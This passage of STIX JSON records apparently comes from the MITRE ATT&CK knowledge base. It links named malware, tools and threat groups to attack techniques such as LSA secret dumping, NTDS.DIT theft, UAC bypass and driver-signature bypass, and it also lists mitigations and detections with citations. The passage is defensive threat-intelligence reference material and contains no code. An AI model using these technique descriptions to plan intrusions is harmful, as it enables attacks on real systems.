2019)","relationship_type":"uses","source_ref":"malware--0d1f9f5b-11ea-42c3-b5f4-63cce0122541","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--d101870c-304e-4597-a292-7d5e8c870f95","created":"2022-02-01T15:08:45.251Z","x_mitre_version":"1.0","external_references":[{"source_name":"AADInternals Documentation","url":"https://o365blog.com/aadinternals","description":"Dr. Nestori Syynimaa. (2018, October 25). AADInternals. Retrieved February 18, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[AADInternals](https://attack.mitre.org/software/S0677) can dump secrets from the Local Security Authority.(Citation: AADInternals Documentation)","modified":"2022-04-13T14:23:09.136Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--2c5281dd-b5fd-4531-8aea-c1bf8a0f8756","target_ref":"attack-pattern--1ecfdab8-7d59-4c98-95d4-dc41970f57fc","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d107e5fd-53fc-478d-9040-85087070d7ff","type":"relationship","created":"2020-03-10T18:33:36.456Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-08-30T17:42:41.243Z","description":"Ensure that high permission level service binaries cannot be replaced or modified by users with a lower permission level.","relationship_type":"mitigates","source_ref":"course-of-action--987988f0-cf86-4680-a875-2f6456ab2448","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d10cea20-846f-4c55-9566-cd7367ae6488","created":"2023-03-08T20:47:04.032Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Avertium Black Basta June 2022","description":"Avertium. (2022, June 1). AN IN-DEPTH LOOK AT BLACK BASTA RANSOMWARE. Retrieved March 7, 2023.","url":"https://www.avertium.com/resources/threat-reports/in-depth-look-at-black-basta-ransomware"},{"source_name":"Check Point Black Basta October 2022","description":"Check Point. (2022, October 20). BLACK BASTA AND THE UNNOTICED DELIVERY. Retrieved March 8, 2023.","url":"https://research.checkpoint.com/2022/black-basta-and-the-unnoticed-delivery/"},{"source_name":"Cyble Black Basta May 2022","description":"Cyble. (2022, May 6). New ransomware variant targeting high-value organizations. Retrieved March 7, 2023.","url":"https://blog.cyble.com/2022/05/06/black-basta-ransomware/"},{"source_name":"Minerva Labs Black Basta May 2022","description":"Zargarov, N. (2022, May 2). New Black Basta Ransomware Hijacks Windows Fax Service. Retrieved March 7, 2023.","url":"https://minerva-labs.com/blog/new-black-basta-ransomware-hijacks-windows-fax-service/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-13T20:27:05.749Z","description":"[Black Basta](https://attack.mitre.org/software/S1070) has the ability to use native APIs for numerous functions including discovery and defense evasion.(Citation: Minerva Labs Black Basta May 2022)(Citation: Cyble Black Basta May 2022)(Citation: Avertium Black Basta June 2022)(Citation: Check Point Black Basta October 2022)","relationship_type":"uses","source_ref":"malware--8d242fb4-9033-4f13-8a88-4b9b4bcd9a53","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d10e82b8-7f30-4845-af05-44ac3287bf70","type":"relationship","created":"2020-06-12T16:15:04.825Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Eset Ramsay May 2020","url":"https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/","description":"Sanmillan, I.. (2020, May 13). Ramsay: A cyber‑espionage toolkit tailored for air‑gapped networks. Retrieved May 27, 2020."}],"modified":"2020-06-15T20:53:11.794Z","description":"[Ramsay](https://attack.mitre.org/software/S0458) can use ImprovedReflectiveDLLInjection to deploy components.(Citation: Eset Ramsay May 2020) ","relationship_type":"uses","source_ref":"malware--ba09b86c-1c40-4ff1-bda0-0d8c4ca35997","target_ref":"attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d1197689-ff2e-4a0e-ad1e-69bb14c8822d","type":"relationship","created":"2021-03-04T14:23:52.806Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Volexity Exchange Marauder March 2021","url":"https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/","description":"Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 2021."}],"modified":"2021-03-04T14:23:52.806Z","description":"[HAFNIUM](https://attack.mitre.org/groups/G0125) has stolen copies of the Active Directory database (NTDS.DIT).(Citation: Volexity Exchange Marauder March 2021)","relationship_type":"uses","source_ref":"intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87","target_ref":"attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d11b6896-16e0-4c02-9c16-0880085010e8","type":"relationship","created":"2021-12-06T23:14:44.934Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MalwareBytes LazyScripter Feb 2021","url":"https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf","description":"Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}],"modified":"2021-12-06T23:14:44.934Z","description":"[KOCTOPUS](https://attack.mitre.org/software/S0669) will perform UAC bypass either through fodhelper.exe or eventvwr.exe.(Citation: MalwareBytes LazyScripter Feb 2021)","relationship_type":"uses","source_ref":"malware--df9b350b-d4f9-4e79-a826-75cc75fbc1eb","target_ref":"attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d11ccc61-70e8-4921-b760-59e4df84934c","created":"2024-09-28T09:56:45.813Z","revoked":false,"external_references":[{"source_name":"Lumen Versa 2024","description":"Black Lotus Labs. (2024, August 27). Taking The Crossroads: The Versa Director Zero-Day Exploitaiton. Retrieved August 27, 2024.","url":"https://blog.lumen.com/taking-the-crossroads-the-versa-director-zero-day-exploitation/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-28T09:56:45.813Z","description":"[Versa Director Zero Day Exploitation](https://attack.mitre.org/campaigns/C0039) involved the development of a new web shell variant, [VersaMem](https://attack.mitre.org/software/S1154).(Citation: Lumen Versa 2024)","relationship_type":"uses","source_ref":"campaign--af0ec65a-caa9-40ef-b1c7-21b71fbf3a10","target_ref":"attack-pattern--212306d8-efa4-44c9-8c2d-ed3d2e224aa0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d11da8db-b528-4d1f-a7f4-ba8bafb80a3d","type":"relationship","created":"2021-10-05T01:45:52.779Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"wardle evilquest partii","url":"https://objective-see.com/blog/blog_0x60.html","description":"Patrick Wardle. (2020, July 3). OSX.EvilQuest Uncovered part ii: insidious capabilities. Retrieved March 21, 2021."}],"modified":"2021-10-05T01:45:52.779Z","description":"[ThiefQuest](https://attack.mitre.org/software/S0595) uses various API functions such as NSCreateObjectFileImageFromMemory to load and link in-memory payloads.(Citation: wardle evilquest partii)","relationship_type":"uses","source_ref":"malware--727afb95-3d0f-4451-b297-362a43909923","target_ref":"attack-pattern--4933e63b-9b77-476e-ab29-761bc5b7d15a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d11e8416-ca1f-46d6-8b95-ed03f708da9c","type":"relationship","created":"2020-02-20T22:10:20.621Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Ready.gov IT DRP","url":"https://www.ready.gov/business/implementation/IT","description":"Ready.gov. (n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019."}],"modified":"2020-03-28T23:00:00.570Z","description":"Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.","relationship_type":"mitigates","source_ref":"course-of-action--3efe43d1-6f3f-4fcb-ab39-4a730971f70b","target_ref":"attack-pattern--0af0ca99-357d-4ba1-805f-674fdfb7bef9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d1222ff7-b93c-40a7-99bd-217d795d8d58","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky ProjectSauron Technical Analysis","description":"Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.","url":"https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf"}],"modified":"2020-03-11T17:45:33.677Z","description":"[Remsec](https://attack.mitre.org/software/S0125) can obtain information about the current user.(Citation: Kaspersky ProjectSauron Technical Analysis)","relationship_type":"uses","source_ref":"malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d122e56a-b0d7-4eb2-bcee-def5d4cbf5bd","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT37 Feb 2018","description":"FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"}],"modified":"2020-03-20T21:24:11.219Z","description":"[POORAIM](https://attack.mitre.org/software/S0216) has used AOL Instant Messenger for C2.(Citation: FireEye APT37 Feb 2018)","relationship_type":"uses","source_ref":"malware--53d47b09-09c2-4015-8d37-6633ecd53f79","target_ref":"attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--d1285ef9-fb7b-4d9b-9915-0b033e768a52","created":"2022-04-18T13:40:53.706Z","x_mitre_version":"0.1","external_references":[{"source_name":"Talos ROKRAT","url":"https://blog.talosintelligence.com/2017/04/introducing-rokrat.html","description":"Mercer, W., Rascagneres, P. (2017, April 03). Introducing ROKRAT. Retrieved May 21, 2018."}],"x_mitre_deprecated":false,"revoked":false,"description":"[ROKRAT](https://attack.mitre.org/software/S0240) can use the `GetForegroundWindow` and `GetWindowText` APIs to discover where the user is typing.(Citation: Talos ROKRAT)","modified":"2022-04-18T13:40:53.706Z","relationship_type":"uses","source_ref":"malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f","target_ref":"attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d12978f9-a02b-4be1-9e21-f2050e28ddb8","created":"2019-09-23T23:14:16.753Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT41 Aug 2019","description":"Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:27:10.550Z","description":"(Citation: FireEye APT41 Aug 2019)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"malware--cba78a1c-186f-4112-9e6a-be1839f030f7","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--d12d7d29-5616-4c87-9fd0-6375fc9c269d","created":"2022-04-15T14:33:08.877Z","x_mitre_version":"0.1","external_references":[{"source_name":"Trend Micro Iron Tiger April 2021","url":"https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html","description":"Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Pandora](https://attack.mitre.org/software/S0664) can use CVE-2017-15303 to disable Windows Driver Signature Enforcement (DSE) protection and load its driver.(Citation: Trend Micro Iron Tiger April 2021)","modified":"2022-04-16T19:03:47.298Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--a545456a-f9a7-47ad-9ea6-8b017def38d1","target_ref":"attack-pattern--565275d5-fcc3-4b66-b4e7-928e4cac6b8c","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d12eb6a1-bb15-4d95-8390-667cda87923e","type":"relationship","created":"2020-10-02T17:09:50.903Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-02T17:09:50.903Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--2d3f5b3c-54ca-4f4d-bb1f-849346d31230","target_ref":"attack-pattern--cca0ccb6-a068-4574-a722-b1556f86833a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d12ef54e-bf2b-4c78-acb9-69a41287f6e0","created":"2023-09-27T20:33:21.646Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MoustachedBouncer ESET August 2023","description":"Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 25, 2023.","url":"https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-27T20:42:19.517Z","description":"[NightClub](https://attack.mitre.org/software/S1090) can load a module to leverage the LAME encoder and `mciSendStringW` to control and capture audio.(Citation: MoustachedBouncer ESET August 2023)","relationship_type":"uses","source_ref":"malware--91c57ed3-7c32-4c68-b388-7db00cb8dac6","target_ref":"attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d13e15a9-b77a-4667-9fc9-f1073d68e858","type":"relationship","created":"2022-03-30T14:26:51.841Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.841Z","description":"Monitor for unexpected deletion of a file in order to manipulate external outcomes or hide activity ","source_ref":"x-mitre-data-component--e905dad2-00d6-477c-97e8-800427abd0e8","target_ref":"attack-pattern--ac9e6b22-11bf-45d7-9181-c1cb08360931","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d13e6112-7edc-4355-b7a7-a29c04016168","created":"2023-04-03T17:44:19.530Z","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Sept 2022","description":"Ehrlich, A., et al. (2022, September). THE MYSTERY OF METADOR | AN UNATTRIBUTED THREAT HIDING IN TELCOS, ISPS, AND UNIVERSITIES. Retrieved January 23, 2023.","url":"https://assets.sentinelone.com/sentinellabs22/metador#page=1"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-03T17:44:19.530Z","description":"[Metador](https://attack.mitre.org/groups/G1013) has used Microsoft's Console Debugger in some of their operations.(Citation: SentinelLabs Metador Sept 2022)","relationship_type":"uses","source_ref":"intrusion-set--bfc5ddb3-4dfb-4278-8928-020e1b3feddd","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d13ea010-1b69-40d4-8d86-6fe2053f59d2","created":"2019-06-24T13:13:57.218Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Intezer HiddenWasp Map 2019","description":"Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.","url":"https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T02:20:09.533Z","description":"[HiddenWasp](https://attack.mitre.org/software/S0394) encrypts its configuration and payload.(Citation: Intezer HiddenWasp Map 2019)","relationship_type":"uses","source_ref":"malware--fc774af4-533b-4724-96d2-ac1026316794","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d14513b4-9c60-49cd-88ee-0cb2ffde394a","created":"2023-03-29T15:30:38.613Z","revoked":false,"external_references":[{"source_name":"Lunghi Iron Tiger Linux","description":"Daniel Lunghi. (2023, March 1). Iron Tiger’s SysUpdate Reappears, Adds Linux Targeting. Retrieved March 20, 2023.","url":"https://www.trendmicro.com/en_us/research/23/c/iron-tiger-sysupdate-adds-linux-targeting.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-29T15:30:38.613Z","description":"[Threat Group-3390](https://attack.mitre.org/groups/G0027) has obtained stolen valid certificates, including from VMProtect and the Chinese instant messaging application Youdu, for their operations.(Citation: Lunghi Iron Tiger Linux)","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"attack-pattern--e7cbc1de-1f79-48ee-abfd-da1241c65a15","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d14e6464-a6c5-4554-a463-88e267828397","type":"relationship","created":"2021-02-22T17:07:20.098Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Waterbear December 2019","url":"https://www.trendmicro.com/en_us/research/19/l/waterbear-is-back-uses-api-hooking-to-evade-security-product-detection.html","description":"Su, V. et al. (2019, December 11). Waterbear Returns, Uses API Hooking to Evade Security. Retrieved February 22, 2021."}],"modified":"2021-02-22T17:07:20.098Z","description":"(Citation: Trend Micro Waterbear December 2019)","relationship_type":"uses","source_ref":"intrusion-set--6fe8a2a1-a1b0-4af8-953d-4babd329f8f8","target_ref":"malware--f3f1fbed-7e29-49cb-8579-4a378f858deb","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d150b0e5-9e4b-48c4-a952-5234b3d72c6a","type":"relationship","created":"2022-03-21T17:50:29.116Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft NICKEL December 2021","url":"https://www.microsoft.com/security/blog/2021/12/06/nickel-targeting-government-organizations-across-latin-america-and-europe","description":"MSTIC. (2021, December 6). NICKEL targeting government organizations across Latin America and Europe. Retrieved March 18, 2022."}],"modified":"2022-03-21T17:50:29.116Z","description":"[Ke3chang](https://attack.mitre.org/groups/G0004) has used credential dumpers or stealers to obtain legitimate credentials, which they used to gain access to victim accounts.(Citation: Microsoft NICKEL December 2021)","relationship_type":"uses","source_ref":"intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c","target_ref":"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d159e441-b30b-464a-8838-b83864173e89","type":"relationship","created":"2020-05-26T19:31:59.263Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CheckPoint Naikon May 2020","url":"https://research.checkpoint.com/2020/naikon-apt-cyber-espionage-reloaded/","description":"CheckPoint. (2020, May 7). Naikon APT: Cyber Espionage Reloaded. Retrieved May 26, 2020."}],"modified":"2020-05-26T19:31:59.263Z","description":"[Naikon](https://attack.mitre.org/groups/G0019) has convinced victims to open malicious attachments to execute malware.(Citation: CheckPoint Naikon May 2020)","relationship_type":"uses","source_ref":"intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d15b4ebf-5129-4a34-b97a-ded582ff4b15","created":"2024-09-17T16:27:30.501Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Latrodectus APR 2024","description":"Proofpoint Threat Research and Team Cymru S2 Threat Research. (2024, April 4). Latrodectus: This Spider Bytes Like Ice . Retrieved May 31, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-17T16:28:45.307Z","description":"[TA577](https://attack.mitre.org/groups/G1037) has used LNK files to execute embedded DLLs.(Citation: Latrodectus APR 2024)","relationship_type":"uses","source_ref":"intrusion-set--13ef3485-70d2-4567-b934-0e83c1eafcf1","target_ref":"attack-pattern--0533ab23-3f7d-463f-9bd8-634d27e4dee1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d15c3d84-9e21-41ac-9728-f97183b63ec6","type":"relationship","created":"2019-04-12T15:39:21.975Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Elfin Mar 2019","url":"https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage","description":"Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019."},{"source_name":"Microsoft Holmium June 2020","url":"https://www.microsoft.com/security/blog/2020/06/18/inside-microsoft-threat-protection-mapping-attack-chains-from-cloud-to-endpoint/","description":"Microsoft Threat Protection Intelligence Team. (2020, June 18). Inside Microsoft Threat Protection: Mapping attack chains from cloud to endpoint. Retrieved June 22, 2020."}],"modified":"2020-06-30T22:07:31.581Z","description":"[APT33](https://attack.mitre.org/groups/G0064) has deployed a tool known as [DarkComet](https://attack.mitre.org/software/S0334) to the Startup folder of a victim, and used Registry run keys to gain persistence.(Citation: Symantec Elfin Mar 2019)(Citation: Microsoft Holmium June 2020)","relationship_type":"uses","source_ref":"intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d15c7116-2d00-48cd-9003-1ab6fc4a0076","type":"relationship","created":"2020-05-06T16:06:23.629Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"JPCert TSCookie March 2018","url":"https://blogs.jpcert.or.jp/en/2018/03/malware-tscooki-7aa0.html","description":"Tomonaga, S. (2018, March 6). Malware “TSCookie”. Retrieved May 6, 2020."}],"modified":"2020-05-06T17:47:43.785Z","description":"[TSCookie](https://attack.mitre.org/software/S0436) has been executed via malicious links embedded in e-mails spoofing the Ministries of Education, Culture, Sports, Science and Technology of Japan.(Citation: JPCert TSCookie March 2018)","relationship_type":"uses","source_ref":"malware--76ac7989-c5cc-42e2-93e3-d6c476f01ace","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d15cda3e-7ed6-4914-a0a8-ff1f4fe668ec","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Forcepoint Monsoon","description":"Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.","url":"https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"},{"source_name":"TrendMicro Patchwork Dec 2017","description":"Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.","url":"https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"}],"modified":"2020-03-16T15:59:20.318Z","description":"[BADNEWS](https://attack.mitre.org/software/S0128) has a command to download an .exe and execute it via CreateProcess API. It can also run with ShellExecute.(Citation: Forcepoint Monsoon)(Citation: TrendMicro Patchwork Dec 